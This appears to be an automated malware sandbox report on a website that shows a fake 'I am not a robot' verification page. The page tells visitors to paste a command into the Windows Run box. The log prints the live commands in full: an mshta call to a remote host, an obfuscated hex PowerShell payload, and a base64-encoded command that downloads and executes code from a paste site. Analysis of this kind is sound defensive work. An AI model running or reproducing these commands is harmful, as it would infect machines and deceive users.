HTTP traffic detected: GET / HTTP/1.1Host: annavirgili.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: annavirgili.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: data-seed-prebsc-1-s1.bnbchain.org
Source: global traffic	DNS traffic detected: DNS query: _8545._https.data-seed-prebsc-1-s1.bnbchain.org
Source: global traffic	DNS traffic detected: DNS query: use.fontawesome.com
Source: global traffic	DNS traffic detected: DNS query: static.hotjar.com
Source: global traffic	DNS traffic detected: DNS query: connect.facebook.net
Source: global traffic	DNS traffic detected: DNS query: mc.yandex.ru
Source: global traffic	DNS traffic detected: DNS query: mc.yandex.com
Source: global traffic	DNS traffic detected: DNS query: script.hotjar.com
Source: global traffic	DNS traffic detected: DNS query: vc.hotjar.io
Source: global traffic	DNS traffic detected: DNS query: ws.hotjar.com
Source: global traffic	DNS traffic detected: DNS query: content.hotjar.io
Source: global traffic	DNS traffic detected: DNS query: www.facebook.com
Source: global traffic	DNS traffic detected: DNS query: s.w.org
Source: global traffic	DNS traffic detected: DNS query: yxyz.zyxy.org
Source: global traffic	DNS traffic detected: DNS query: rebekkaworm.snuggleam.org
Source: global traffic	DNS traffic detected: DNS query: nopaste.net
Source: global traffic	DNS traffic detected: DNS query: windows.msn.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: jonagye.shop
Source: global traffic	DNS traffic detected: DNS query: pastebin.com
Source: global traffic	DNS traffic detected: DNS query: silversky.club
Source: global traffic	DNS traffic detected: DNS query: klipcatepiu0.shop
Source: global traffic	DNS traffic detected: DNS query: klipxevojie.shop

Source: C:\Windows\System32\mshta.exe	Process created: Commandline size = 6000
Source: C:\Windows\System32\mshta.exe	Process created: Commandline size = 6000

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7624:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2784:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4016:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\cb93f779-25b4-41a2-a992-79114e2e0d22\xdd.exe	Mutant created: \Sessions\1\BaseNamedObjects\ContemplativeFish

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://annavirgili.com/
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2184 --field-trial-handle=1984,i,16319034314027490977,6169393010866710073,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2184 --field-trial-handle=1984,i,16319034314027490977,6169393010866710073,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" . \i\\\\\\\\\\\\\\\\\\\\\\\\\\\\\*2\m??ta.??? https://yxyz.zyxy.org/MARBI.mp4?u=d4a7bb1a-1651-4566-9e40-7a8a87d785c1 # ? ''I am not a robot - reCAPTCHA Verification ID: 7126''
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\mshta.exe "C:\Windows\System32\mshta.exe" https://yxyz.zyxy.org/MARBI.mp4?u=d4a7bb1a-1651-4566-9e40-7a8a87d785c1
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function WXndL($cIxW){return -split ($cIxW -replace '..', '0x$& ')};$Ggxu = WXndL('7A5B64CCD96D57D64EFE4A812D2BC4BDE9AE1B1E7F65468F80EA3D5B60B7D7C15F2443A3E6237EAB1F9F3E91A5D835EB18A448CE892FC625BA5CB4E7734FA0B152E164A9AE08D0FEF9B18C700BA2C123C96722C862D347993D0AA1AF4AEEBDD9B33579FD0C0E3E8F4ED828B8EBE67830131A567BC4410ED3DE3DB182881AB06E5D1206E78F5AB5BC320CEB0CD1230E202D819C71580B2958CC5C0E8D1B8BD3370ED4F7231F1F5798BCD1F65460270B2E1E6ED59863C8B5F03F81A685BAD5E7B10E0FB9D1E708A9E5C024FA30DDC882FC492E0DF958455665B085A89C33E2271C0460170B1A544FCCC02AAD22554D5904FEDB87E26616ADC6815B78E3F211ECE66EE7D5818C58FD2367560D21420D5A870A96BF6813F16918FD2CAE995E81E5D5EEE764267ADB4E5F453DAC47D2AA762258E397C75CFF7333F5692FC5E25513BAC939EC2D35D580E47B773762AFA92B8C33B29E596DD3C52FB4B99790BC72803AD41F0A8088B6CBED15134D7A3795F91350D8363992E47BC33998786B02F2BC54DEADA79DA25CDD4E8456CDE732FF3D1BD51FFB619BBF4745E1D5B394630DE4C65145A4F40D54FC2FDFFF60DAC2370A34BE793B19A62E7BFB4C17185C1DC5324F37FFB32F313CB1BD87D5ED80FDE6998A2FA6EAE031759049B99236C74EBE0FCAA0366DFBD6D5203BB793793C30DD6C7711F139487A16F956DED2456E89DA6E8075E848518861F83E12FE6B6D9418FC30B86423F75566F6B84368C093B9C427A827CCA5508786A5C0C9C4FDC8098CF6F6387EF1B6779E7520FFA6CB54F1831F4AA87E12F048C0CF6F7626832EEACA8F18970723839BC8DF8E4A95B0792580CB979CFC7127742BFAC8575A87620516BE0330CEEEC026AE6DEF88079288ADA091993D6A1E4095B56E7A4972D51CC3305B770FFD659D6DF1A16842FAB38AB77C79C33863A3DDD3492894F183BE23A2F13E9B123C61AAA62EA17F6E370D5F5455BDCBE40447C979E2071A5E1C73DAB66505D5097B0CE259E3740A4D336C5D9D478B4BDD16372BC7EDFE1881DEA74E5B9CE7264F939FC71C1A404155682C546391908E072FABB77AFA55EF85CF8D463AF296CB5A97F75A04C27BB522CBD6647D3486CE6F1255A20C9F533CBB8E63861054920A4CAC251BCE2877D09D44209DF14F219EFB4C83461ED25DD05A3920BE2B123C394CC75C22C37A1CBE663656DBBC5E092E0B0019D2990501F5747EEBCB04B628410E9A300AEF287CFF0E6891F2F376C686F5FA861C85F88D563CE6DA2BAF185CC7C432FBC4291B50D6C71EC3AF86F793050E7DA9386849A66D23F884A8EBB084B1E52AFD97FC48ED50A9E6127344548B3E1D3FE46A9B700E23523933F2658A2E11359A7801DCFA20518A8C8ECFB897185694E264D854CE8307694F52B05B1F77A162CF1DD6266ACF5A7558C4494FF2E5B813EA6AA2F10A626FA53624CAEFB65B0BEBCCBCE907FC29AFF64D665F48576317019CB117E486DB9344CB12B5A4C8C99244F69A2C044F0C2B1E2C015323E6F2E9963937F86A2F610B470A787592B51B4A8A0AC1BEBCFBA6BDBBAE601BE25E9697ED1F1F6620B93F5E571C3E1A4F0E8C47093BF22DA12E6490B3AC878564D340B19F5614B1B063BD182E6D649D69AFD32FB57DDA451BB8764142FB0F42BE6E0189467BC1CB105D5FB522273E3782FDAA9E79D531A3BB879EA59043A20FED1EB60716386B9AAB98DC3EE64A1E470DA50DAC0026141747D5C0EED0044EC0D0915C02328F86F0BB7D373FB02861150AB1351E5702E10845E364532DF7DA550E8FADD43BC553C286B9362C8D94A1B01CBEED6A0696A644B4B1C4C07D01BE9FFFFE5E695FE16EEBAF8905BD570BE4B36D0F1C07D860553FBE42A1F44FEBF0A667E85D3544FE91FF701BE78DE167BB6758BB19538D1418D9B1403CFBD5C98DC579BAB71C1BA2BFB6A2ED52BC640E
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -ExecutionPolicy UnRestricted -Enc bABzACAAcABhAG4AeQBvACoAOwBTAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEUAbQBpACAAJwBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAGcATQBXAEkAcABFAEgATgBWAGkAewBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAcwB0AHIAaQBuAGcAIABEAHYAZwB5AGkASgB4AHUAVAB0ACgAcwB0AHIAaQBuAGcAIAB1AHIAbAApAHsAcgBlAHQAdQByAG4AIAAoAG4AZQB3ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACgAKQApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAdQByAGwAKQA7AH0AfQAnADsAUwBlAHQALQBWAGEAcgBpAGEAYgBsAGUAIABCAEYAIAAnAGgAdAB0AHAAcwA6AC8ALwBuAG8AcABhAHMAdABlAC4AbgBlAHQALwBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAJwA7ACYAKABHAFYAIABFACoAdABlAHgAKgApAC4AVgBhAGwAdQBlAC4AKAAoACgARwBWACAARQAqAHQAZQB4ACoAKQAuAFYAYQBsAHUAZQB8AEcATQApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACgARwBWACAARQAqAHQAZQB4ACoAKQAuAFYAYQBsAHUAZQAuACgAKAAoAEcAVgAgAEUAKgB0AGUAeAAqACkALgBWAGEAbAB1AGUAfABHAE0AKQBbADYAXQAuAE4AYQBtAGUAKQAuAFAAcwBPAGIAagBlAGMAdAAuAE0AZQB0AGgAbwBkAHMAfABXAGgAZQByAGUALQBPAGIAagBlAGMAdAB7ACQAXwAuAE4AYQBtAGUALQBjAGwAaQBrAGUAJwBHACoAZAAnAH0AKQAuAE4AYQBtAGUAKQAuAEkAbgB2AG8AawBlACgAKABHAFYAIABFACoAdABlAHgAKgApAC4AVgBhAGwAdQBlAC4AKAAoACgARwBWACAARQAqAHQAZQB4ACoAKQAuAFYAYQBsAHUAZQB8AEcATQApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACgARwBWACAARQAqAHQAZQB4ACoAKQAuAFYAYQBsAHUAZQAuACgAKAAoAEcAVgAgAEUAKgB0AGUAeAAqACkALgBWAGEAbAB1AGUAfABHAE0AKQBbADYAXQAuAE4AYQBtAGUAKQB8AEcATQB8AFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0AHsAJABfAC4ATgBhAG0AZQAtAGMAbABpAGsAZQAnACoAbwBtACoAZQAnAH0AKQAuAE4AYQBtAGUAKQAuAEkAbgB2AG8AawBlACgAJwAqAC0AVAB5ACoAZQAnACwAMQAsADEAKQAsAFsATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBDAG8AbQBtAGEAbgBkAFQAeQBwAGUAcwBdADoAOgBDAG0AZABsAGUAdAApAC0ATABhACAAQwBTAGgAYQByAHAAIAAoAEwAUwAgAFYAYQByAGkAYQBiAGwAZQA6AC8ARQBtAGkAKQAuAFYAYQBsAHUAZQA7ACgAWwBnAE0AVwBJAHAARQBIAE4AVgBpAF0AOgA6AEQAdgBnAHkAaQBKAHgAdQBUAHQAKAAoAEcAVgAgAEIARgAgAC0AVgBhAGwAdQBlAE8AbgBsACkAKQApAHwAJgAoAEcASQAgAEEAbABpAGEAcwA6AEkARQAqACkA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\qwzwa2hv.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESBF57.tmp" "c:\Users\user\AppData\Local\Temp\CSC2CD5A3AC9BED45FD9C1F4AD4196788AE.TMP"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\mshta.exe "C:\Windows\System32\mshta.exe" https://yxyz.zyxy.org/MARBI.mp4?u=d4a7bb1a-1651-4566-9e40-7a8a87d785c1
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function WXndL($cIxW){return -split ($cIxW -replace '..', '0x$& ')};$Ggxu = WXndL('7A5B64CCD96D57D64EFE4A812D2BC4BDE9AE1B1E7F65468F80EA3D5B60B7D7C15F2443A3E6237EAB1F9F3E91A5D835EB18A448CE892FC625BA5CB4E7734FA0B152E164A9AE08D0FEF9B18C700BA2C123C96722C862D347993D0AA1AF4AEEBDD9B33579FD0C0E3E8F4ED828B8EBE67830131A567BC4410ED3DE3DB182881AB06E5D1206E78F5AB5BC320CEB0CD1230E202D819C71580B2958CC5C0E8D1B8BD3370ED4F7231F1F5798BCD1F65460270B2E1E6ED59863C8B5F03F81A685BAD5E7B10E0FB9D1E708A9E5C024FA30DDC882FC492E0DF958455665B085A89C33E2271C0460170B1A544FCCC02AAD22554D5904FEDB87E26616ADC6815B78E3F211ECE66EE7D5818C58FD2367560D21420D5A870A96BF6813F16918FD2CAE995E81E5D5EEE764267ADB4E5F453DAC47D2AA762258E397C75CFF7333F5692FC5E25513BAC939EC2D35D580E47B773762AFA92B8C33B29E596DD3C52FB4B99790BC72803AD41F0A8088B6CBED15134D7A3795F91350D8363992E47BC33998786B02F2BC54DEADA79DA25CDD4E8456CDE732FF3D1BD51FFB619BBF4745E1D5B394630DE4C65145A4F40D54FC2FDFFF60DAC2370A34BE793B19A62E7BFB4C17185C1DC5324F37FFB32F313CB1BD87D5ED80FDE6998A2FA6EAE031759049B99236C74EBE0FCAA0366DFBD6D5203BB793793C30DD6C7711F139487A16F956DED2456E89DA6E8075E848518861F83E12FE6B6D9418FC30B86423F75566F6B84368C093B9C427A827CCA5508786A5C0C9C4FDC8098CF6F6387EF1B6779E7520FFA6CB54F1831F4AA87E12F048C0CF6F7626832EEACA8F18970723839BC8DF8E4A95B0792580CB979CFC7127742BFAC8575A87620516BE0330CEEEC026AE6DEF88079288ADA091993D6A1E4095B56E7A4972D51CC3305B770FFD659D6DF1A16842FAB38AB77C79C33863A3DDD3492894F183BE23A2F13E9B123C61AAA62EA17F6E370D5F5455BDCBE40447C979E2071A5E1C73DAB66505D5097B0CE259E3740A4D336C5D9D478B4BDD16372BC7EDFE1881DEA74E5B9CE7264F939FC71C1A404155682C546391908E072FABB77AFA55EF85CF8D463AF296CB5A97F75A04C27BB522CBD6647D3486CE6F1255A20C9F533CBB8E63861054920A4CAC251BCE2877D09D44209DF14F219EFB4C83461ED25DD05A3920BE2B123C394CC75C22C37A1CBE663656DBBC5E092E0B0019D2990501F5747EEBCB04B628410E9A300AEF287CFF0E6891F2F376C686F5FA861C85F88D563CE6DA2BAF185CC7C432FBC4291B50D6C71EC3AF86F793050E7DA9386849A66D23F884A8EBB084B1E52AFD97FC48ED50A9E6127344548B3E1D3FE46A9B700E23523933F2658A2E11359A7801DCFA20518A8C8ECFB897185694E264D854CE8307694F52B05B1F77A162CF1DD6266ACF5A7558C4494FF2E5B813EA6AA2F10A626FA53624CAEFB65B0BEBCCBCE907FC29AFF64D665F48576317019CB117E486DB9344CB12B5A4C8C99244F69A2C044F0C2B1E2C015323E6F2E9963937F86A2F610B470A787592B51B4A8A0AC1BEBCFBA6BDBBAE601BE25E9697ED1F1F6620B93F5E571C3E1A4F0E8C47093BF22DA12E6490B3AC878564D340B19F5614B1B063BD182E6D649D69AFD32FB57DDA451BB8764142FB0F42BE6E0189467BC1CB105D5FB522273E3782FDAA9E79D531A3BB879EA59043A20FED1EB60716386B9AAB98DC3EE64A1E470DA50DAC0026141747D5C0EED0044EC0D0915C02328F86F0BB7D373FB02861150AB1351E5702E10845E364532DF7DA550E8FADD43BC553C286B9362C8D94A1B01CBEED6A0696A644B4B1C4C07D01BE9FFFFE5E695FE16EEBAF8905BD570BE4B36D0F1C07D860553FBE42A1F44FEBF0A667E85D3544FE91FF701BE78DE167BB6758BB19538D1418D9B1403CFBD5C98DC579BAB71C1BA2BFB6A2ED52BC640E
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -ExecutionPolicy UnRestricted -Enc bABzACAAcABhAG4AeQBvACoAOwBTAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEUAbQBpACAAJwBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAGcATQBXAEkAcABFAEgATgBWAGkAewBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAcwB0AHIAaQBuAGcAIABEAHYAZwB5AGkASgB4AHUAVAB0ACgAcwB0AHIAaQBuAGcAIAB1AHIAbAApAHsAcgBlAHQAdQByAG4AIAAoAG4AZQB3ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACgAKQApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAdQByAGwAKQA7AH0AfQAnADsAUwBlAHQALQBWAGEAcgBpAGEAYgBsAGUAIABCAEYAIAAnAGgAdAB0AHAAcwA6AC8ALwBuAG8AcABhAHMAdABlAC4AbgBlAHQALwBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAJwA7ACYAKABHAFYAIABFACoAdABlAHgAKgApAC4AVgBhAGwAdQBlAC4AKAAoACgARwBWACAARQAqAHQAZQB4ACoAKQAuAFYAYQBsAHUAZQB8AEcATQApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACgARwBWACAARQAqAHQAZQB4ACoAKQAuAFYAYQBsAHUAZQAuACgAKAAoAEcAVgAgAEUAKgB0AGUAeAAqACkALgBWAGEAbAB1AGUAfABHAE0AKQBbADYAXQAuAE4AYQBtAGUAKQAuAFAAcwBPAGIAagBlAGMAdAAuAE0AZQB0AGgAbwBkAHMAfABXAGgAZQByAGUALQBPAGIAagBlAGMAdAB7ACQAXwAuAE4AYQBtAGUALQBjAGwAaQBrAGUAJwBHACoAZAAnAH0AKQAuAE4AYQBtAGUAKQAuAEkAbgB2AG8AawBlACgAKABHAFYAIABFACoAdABlAHgAKgApAC4AVgBhAGwAdQBlAC4AKAAoACgARwBWACAARQAqAHQAZQB4ACoAKQAuAFYAYQBsAHUAZQB8AEcATQApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACgARwBWACAARQAqAHQAZQB4ACoAKQAuAFYAYQBsAHUAZQAuACgAKAAoAEcAVgAgAEUAKgB0AGUAeAAqACkALgBWAGEAbAB1AGUAfABHAE0AKQBbADYAXQAuAE4AYQBtAGUAKQB8AEcATQB8AFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0AHsAJABfAC4ATgBhAG0AZQAtAGMAbABpAGsAZQAnACoAbwBtACoAZQAnAH0AKQAuAE4AYQBtAGUAKQAuAEkAbgB2AG8AawBlACgAJwAqAC0AVAB5ACoAZQAnACwAMQAsADEAKQAsAFsATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBDAG8AbQBtAGEAbgBkAFQAeQBwAGUAcwBdADoAOgBDAG0AZABsAGUAdAApAC0ATABhACAAQwBTAGgAYQByAHAAIAAoAEwAUwAgAFYAYQByAGkAYQBiAGwAZQA6AC8ARQBtAGkAKQAuAFYAYQBsAHUAZQA7ACgAWwBnAE0AVwBJAHAARQBIAE4AVgBpAF0AOgA6AEQAdgBnAHkAaQBKAHgAdQBUAHQAKAAoAEcAVgAgAEIARgAgAC0AVgBhAGwAdQBlAE8AbgBsACkAKQApAHwAJgAoAEcASQAgAEEAbABpAGEAcwA6AEkARQAqACkA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\cb93f779-25b4-41a2-a992-79114e2e0d22\xdd.exe "C:\Users\user\AppData\Local\Temp\cb93f779-25b4-41a2-a992-79114e2e0d22\xdd.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\qwzwa2hv.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\cb93f779-25b4-41a2-a992-79114e2e0d22\xdd.exe "C:\Users\user\AppData\Local\Temp\cb93f779-25b4-41a2-a992-79114e2e0d22\xdd.exe"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESBF57.tmp" "c:\Users\user\AppData\Local\Temp\CSC2CD5A3AC9BED45FD9C1F4AD4196788AE.TMP"

Source: screenshot	OCR Text: x @ Anne Virgili X annavirgili.cam Complete these Verification Steps To better prove you are not a robot. please: I. Press & hold the Windows Key + R 2. In the verification window. press Ctrl + V 3. Press Enter on your keyboard to finish, You wl observe and agree: Perform the steps above to VERIFY finish verificatim, 07:28 ENG p Type here to search SG 12/12/2024
Source: screenshot	OCR Text: x Anne Virgili X annavirgili.cam Complete these Verification Steps To better prove you are not a robot. please: I. Press & hold the Windows Key + R 2. In the verification window. press Ctrl + V 3. Press Enter on your keyboard to finish, You wl observe and agree: Perform the steps above to VERIFY finish verificatim, 07:27 ENG p Type here to search SG 12/12/2024
Source: screenshot	OCR Text: @ Anne Virgili x X annavirgili.cam Complete these Verification Steps To better prove you are not a robot. please: I. Press & hold the Windows Key + R 2. In the verification window. press Ctrl + V 3. Press Enter on your keyboard to finish, You wl observe and agree: Perform the steps above to VERIFY finish verificatim, 07:28 ENG p Type here to search SG 12/12/2024
Source: screenshot	OCR Text: x Anne Virgili X annavirgili.cam Complete these Verification Steps To better prove you are not a robot. please: I. Press & hold the Windows Key + R 2. In the verification window. press Ctrl + V 3. Press Enter on your keyboard to finish, You wl observe and agree: Perform the steps above to VERIFY finish verificatim, 07:28 ENG p Type here to search SG 12/12/2024
Source: screenshot	OCR Text: x e Anne Virgili X annavirgili.cam Complete these Verification Steps To better prove you are not a robot. please: I. Press & hold the Windows Key + R 2. In the verification window. press Ctrl + V 3. Press Enter on your keyboard to finish, You wl observe and agree: Perform the steps above to VERIFY finish verificatim, 07:28 ENG p Type here to search SG 12/12/2024
Source: Chrome DOM: 1.2	OCR Text: Cornplete these Verification Steps To better prove you are not a robot. please: 1. Press & hold the R 2. In the verification window. press Ctrl + V, 3. Press Enter on your keyboard to finish. You will observe and agree: Perform the steps above to VERIFY finish verification-
Source: screenshot	OCR Text: x e Anne Virgili X annavirgili.cam Complete these Verification Steps To better prove you are not a robot. please: I. Press & hold the Windows Key + R 2. In the verification window. press Ctrl + V 3. Press Enter on your keyboard to finish, You wl observe and agree: Perform the steps above to VERIFY finish verificatim, 07:27 ENG p Type here to search SG 12/12/2024
Source: Chrome DOM: 1.1	OCR Text: Complete these Verification Steps To better prove you are not a robot. please: I. Press & hold the Windows Key R 2. 16 the verification window. press Ctrl + V 3. Press Enter on your keyboard to finish, You wl observe and agree: Perform the steps above to VERIFY finish

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\cb93f779-25b4-41a2-a992-79114e2e0d22\xdd.exe			Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\qwzwa2hv.dll			Jump to dropped file

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1387
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1695
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1510
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6986
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 918
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 454
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2914
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6769

Source: C:\Windows\System32\svchost.exe TID: 7160	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2576	Thread sleep count: 216 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3044	Thread sleep count: 68 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2576	Thread sleep count: 1387 > 30
